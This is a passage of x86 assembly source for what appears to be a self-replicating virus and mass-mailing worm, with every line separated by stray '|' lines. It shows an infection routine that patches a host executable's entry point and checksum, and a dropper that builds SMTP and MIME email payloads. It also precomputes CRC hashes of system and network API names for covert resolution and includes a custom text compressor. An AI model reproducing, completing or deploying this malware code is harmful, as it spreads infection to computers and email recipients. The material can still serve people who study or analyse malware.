sub eax, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
|
|
mov dword ptr [edi + offset host_patch - offset junkhtml_codeend + 1], eax
|
|
pop edi
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
|
|
;-----------------------------------------------------------------------------
|
|
|
|
xchg dword ptr [ebx], ecx
|
|
jecxz infect_ret
|
|
xor eax, eax
|
|
pop ecx
|
|
push ecx
|
|
inc ecx
|
|
shr ecx, 1
|
|
clc
|
|
|
|
calc_checksum label near
|
|
adc ax, word ptr [edi]
|
|
inc edi
|
|
inc edi
|
|
loop calc_checksum
|
|
pop dword ptr [ebx]
|
|
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
|
|
|
|
infect_ret label near
|
|
int 3 ;common exit using SEH
|
|
db "*4U2NV*" ;that is, unless you're reading this
|
|
test_infect endp
|
|
|
|
regdll db "advapi32", 0 ;place < 80h bytes from end for smaller code
|
|
|
|
mail_recip label near ;virtual buffer, 80h bytes
|
|
db "'" ;address sentinel - do not remove!
|
|
|
|
junkhtml_codeend label near
|
|
junkhtml_inf endp
|
|
|
|
endif
|
|
|
|
.code
|
|
dropper label near
|
|
push (offset part43 - offset smtp1 + 1)
|
|
push GMEM_FIXED
|
|
call GlobalAlloc
|
|
push eax
|
|
mov esi, offset smtp1
|
|
xchg edi, eax
|
|
call compmain ;smtp1
|
|
call compmain ;smtp2
|
|
call compmain ;smtp3
|
|
call compmain ;smtp4
|
|
call compmain ;header1
|
|
call compmain ;header2
|
|
|
|
ife compress_only
|
|
|
|
lea eax, dword ptr [edi + offset email_block - offset junkhtml_inf + expsize + 401000h]
|
|
pop ecx
|
|
push ecx
|
|
sub eax, ecx
|
|
mov dword ptr [offset patch_mime + 1], eax
|
|
|
|
endif
|
|
|
|
call compmain ;header31
|
|
call compmain ;header32
|
|
|
|
ife compress_only
|
|
|
|
lea eax, dword ptr [edi + offset email_block - offset junkhtml_inf + expsize + 401000h]
|
|
pop ecx
|
|
push ecx
|
|
sub eax, ecx
|
|
mov dword ptr [offset patch_type + 1], eax
|
|
|
|
endif
|
|
|
|
call compmain ;part11
|
|
call compmain ;part12
|
|
call compmain ;part13
|
|
call compmain ;body1
|
|
call compmain ;part21
|
|
call compmain ;part22
|
|
|
|
ife compress_only
|
|
|
|
lea eax, dword ptr [edi + offset email_block - offset junkhtml_inf + expsize + 401000h]
|
|
pop ecx
|
|
push ecx
|
|
sub eax, ecx
|
|
mov dword ptr [offset patch_encode + 1], eax
|
|
|
|
endif
|
|
|
|
call compmain ;part23
|
|
call compmain ;part24
|
|
call compmain ;part25
|
|
call compmain ;part26
|
|
call compmain ;part27
|
|
call compmain ;part28
|
|
call compmain ;part31
|
|
call compmain ;part41
|
|
call compmain ;part42
|
|
|
|
if compress_only
|
|
|
|
pop esi
|
|
push (offset part43 - offset smtp1 + 1) * 7
|
|
push GMEM_FIXED
|
|
call GlobalAlloc
|
|
push eax
|
|
push esi
|
|
mov ecx, edi
|
|
sub ecx, esi
|
|
xchg edi, eax
|
|
jmp dump_line
|
|
|
|
dump_outer label near
|
|
mov al, ','
|
|
stos byte ptr [edi]
|
|
test cl, 0fh
|
|
jne dump_inner
|
|
dec edi
|
|
|
|
dump_line label near
|
|
mov eax, ("bd" shl 10h) + 0a0dh
|
|
stos dword ptr [edi]
|
|
|
|
dump_inner label near
|
|
mov ax, "0 "
|
|
stos word ptr [edi]
|
|
lods byte ptr [esi]
|
|
aam 10h
|
|
call byt2asc
|
|
mov al, 'h'
|
|
stos byte ptr [edi]
|
|
loop dump_outer
|
|
call GlobalFree
|
|
xor ebp, ebp
|
|
push ebp
|
|
push ebp
|
|
push CREATE_ALWAYS
|
|
push ebp
|
|
push ebp
|
|
push GENERIC_WRITE
|
|
push offset fn_dump
|
|
call CreateFileA
|
|
xchg ebx, eax
|
|
pop eax
|
|
push eax
|
|
push eax
|
|
push esp
|
|
sub edi, eax
|
|
push edi
|
|
push eax
|
|
push ebx
|
|
call WriteFile
|
|
push ebx
|
|
call CloseHandle
|
|
call GlobalFree
|
|
xor ebx, ebx
|
|
push ebx
|
|
push offset txttitle
|
|
push offset txtbody
|
|
push ebx
|
|
call MessageBoxA
|
|
push ebx
|
|
call ExitProcess
|
|
|
|
fn_dump db "email.inc", 0
|
|
|
|
byt2asc proc near
|
|
call nyb2asc
|
|
|
|
nyb2asc proc near
|
|
xchg ah, al
|
|
cmp al, 0ah
|
|
sbb al, 69h
|
|
das
|
|
stos byte ptr [edi]
|
|
ret
|
|
nyb2asc endp
|
|
byt2asc endp
|
|
|
|
else
|
|
|
|
call GlobalFree
|
|
mov edx, expcrc_count
|
|
mov ebx, offset expnames
|
|
mov edi, offset expcrcbegin
|
|
call create_crcs
|
|
mov edx, regcrc_count
|
|
mov ebx, offset regnames
|
|
mov edi, offset regcrcbegin
|
|
call create_crcs
|
|
mov edx, execrc_count
|
|
mov ebx, offset exenames
|
|
mov edi, offset execrcbegin
|
|
call create_crcs
|
|
mov edx, usrcrc_count
|
|
mov ebx, offset usrnames
|
|
mov edi, offset usrcrcbegin
|
|
call create_crcs
|
|
mov edx, svccrc_count
|
|
mov ebx, offset svcnames
|
|
mov edi, offset svccrcbegin
|
|
call create_crcs
|
|
mov edx, krncrc_count
|
|
mov ebx, offset krnnames
|
|
mov edi, offset krncrcbegin
|
|
call create_crcs
|
|
mov edx, sfccrc_count
|
|
mov ebx, offset sfcnames
|
|
mov edi, offset sfccrcbegin
|
|
call create_crcs
|
|
mov edx, ws2crc_count
|
|
mov ebx, offset ws2names
|
|
mov edi, offset ws2crcbegin
|
|
call create_crcs
|
|
mov edx, netcrc_count
|
|
mov ebx, offset netnames
|
|
mov edi, offset netcrcbegin
|
|
call create_crcs
|
|
mov edx, ip9xcrc_count
|
|
mov ebx, offset ip9xnames
|
|
mov edi, offset ip9xcrcbegin
|
|
call create_crcs
|
|
mov edx, ipntcrc_count
|
|
mov ebx, offset ipntnames
|
|
mov edi, offset ipntcrcbegin
|
|
call create_crcs
|
|
call patch_host
|
|
xor ebx, ebx
|
|
push ebx
|
|
push offset txttitle
|
|
push offset txtbody
|
|
push ebx
|
|
call MessageBoxA
|
|
push ebx
|
|
call ExitProcess
|
|
|
|
create_crcs proc near
|
|
imul ebp, edx, 4
|
|
|
|
create_loop label near
|
|
or eax, -1
|
|
|
|
create_outer label near
|
|
xor al, byte ptr [ebx]
|
|
push 8
|
|
pop ecx
|
|
|
|
create_inner label near
|
|
add eax, eax
|
|
jnb create_skip
|
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|
|
|
create_skip label near
|
|
loop create_inner
|
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|
inc ebx ;carry not altered by inc
|
|
jb create_outer
|
|
push eax
|
|
dec edx
|
|
jne create_loop
|
|
mov eax, esp
|
|
push ecx
|
|
push ebp
|
|
push eax
|
|
push edi
|
|
call GetCurrentProcess
|
|
push eax
|
|
xchg esi, eax
|
|
call WriteProcessMemory
|
|
add esp, ebp
|
|
ret
|
|
create_crcs endp
|
|
|
|
endif
|
|
|
|
compcall proc near
|
|
js compmain
|
|
call compress
|
|
|
|
compmain label near
|
|
xor eax, eax
|
|
lods byte ptr [esi]
|
|
stos byte ptr [edi]
|
|
test al, al
|
|
jne compcall
|
|
ret
|
|
compcall endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;4/5-bit text compressor by RT Fishel, based on algorithm by qkumba in 1986!
|
|
;compresses A-Z, a-z, 0-9, 3 user characters, lookup table for more characters
|
|
;fits 66 characters into 5 bits. qkumba coding makes it possible ;)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
compress proc near ;al -> src length, esi -> src buffer, edi -> dst buffer
|
|
xchg ebx, eax
|
|
mov bh, 5
|
|
mov cx, ('A' shl 8) + 16
|
|
xor ebp, ebp
|
|
|
|
comploop label near
|
|
lods byte ptr [esi]
|
|
push 1bh ;base switch
|
|
pop edx
|
|
cmp al, user1
|
|
je compuser123
|
|
cmp al, user2
|
|
je compuser123
|
|
cmp al, user3
|
|
je compuser123
|
|
push ecx
|
|
push edi
|
|
push offset usertable_e - offset usertable
|
|
pop ecx
|
|
mov ah, cl
|
|
mov edi, offset usertable
|
|
repne scas byte ptr [edi]
|
|
mov al, cl
|
|
pop edi
|
|
pop ecx
|
|
je compuser5
|
|
dec esi
|
|
lods byte ptr [esi]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;set case before switching base to alphabetic to save 1 bit
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ah, al
|
|
test al, 'A' - 1
|
|
je compnumer
|
|
and al, 'a' - 1
|
|
inc eax
|
|
cmp ch, al
|
|
je compalpha
|
|
mov ch, al
|
|
push edx
|
|
dec edx ;case switch
|
|
call compstore
|
|
pop edx
|
|
|
|
compalpha label near
|
|
sub ah, al
|
|
|
|
compnumer label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;check if base switch is required
|
|
;-----------------------------------------------------------------------------
|
|
|
|
shr al, 6
|
|
add al, 4
|
|
cmp bh, al
|
|
je compextend
|
|
call compstore ;store base switch
|
|
xor bh, 1
|
|
|
|
compextend label near
|
|
movzx edx, ah
|
|
|
|
compuser1 label near
|
|
call compstore ;store character
|
|
|
|
comptest label near
|
|
dec bl
|
|
jne comploop
|
|
ret
|
|
|
|
compuser123 label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if base is alphabetic and bytes left and next character is numeric, then
|
|
;switch base to numeric before storing user char to save 1 bit
|
|
;-----------------------------------------------------------------------------
|
|
|
|
cmp bh, 5
|
|
jne compchar
|
|
cmp bl, 1
|
|
je compchar ;no bytes left
|
|
cmp byte ptr [esi], '0'
|
|
jb compchar
|
|
cmp byte ptr [esi], '9'
|
|
jnbe compchar
|
|
call compstore ;store base switch
|
|
mov bh, 4
|
|
|
|
compchar label near
|
|
push 1dh ;user1
|
|
pop edx
|
|
cmp al, user1
|
|
je compuser1
|
|
inc edx ;user2
|
|
cmp al, user2
|
|
je compuser1
|
|
inc edx ;user3
|
|
jmp compuser1
|
|
|
|
compuser5 label near
|
|
sub ah, al
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if base is numeric, and char is out of numeric range, then switch base to
|
|
;alphabetic, store char, then restore base unless next char is alphabetic
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push edx
|
|
xor al, al
|
|
cmp bh, 4
|
|
jne compindex
|
|
cmp ah, 0fh
|
|
jbe compindex
|
|
inc eax
|
|
call compstore ;store base switch
|
|
mov bh, 5
|
|
|
|
compindex label near
|
|
push 1ch ;user 5 (lookup table)
|
|
pop edx
|
|
call compstore
|
|
movzx edx, ah
|
|
call compstore ;store character
|
|
pop edx
|
|
test al, al
|
|
je comptest
|
|
cmp bl, al
|
|
je comptest ;no bytes left
|
|
mov al, byte ptr [esi]
|
|
cmp al, 'A'
|
|
jb comprestore
|
|
and al, not ' '
|
|
cmp al, 'Z'
|
|
jbe comptest
|
|
|
|
comprestore label near
|
|
call compstore ;store base switch
|
|
mov bh, 4
|
|
jmp comptest
|
|
|
|
compstore proc near
|
|
and dl, 1fh
|
|
push ebx
|
|
cmp bl, 1
|
|
jne compstmask
|
|
cmp dl, 1ah
|
|
jb compstmask
|
|
cmp dl, 1dh
|
|
adc bl, 0 ;avoid flush for multibyte
|
|
|
|
compstmask label near
|
|
cmp bh, 5
|
|
je compstoreb
|
|
and dl, 0fh
|
|
|
|
compstoreb label near
|
|
sub cl, bh
|
|
shl edx, cl
|
|
or ebp, edx
|
|
cmp cl, 8
|
|
jnbe compsttest
|
|
|
|
compstflush label near
|
|
xchg ebp, eax
|
|
xchg ah, al
|
|
stos byte ptr [edi]
|
|
xor al, al
|
|
xchg ebp, eax
|
|
add cl, 8
|
|
|
|
compsttest label near
|
|
cmp bl, 1
|
|
jne compstret
|
|
cmp cl, 10h
|
|
jb compstflush ;force flush low byte
|
|
|
|
compstret label near
|
|
pop ebx
|
|
ret
|
|
compstore endp
|
|
compress endp
|
|
end dropper
|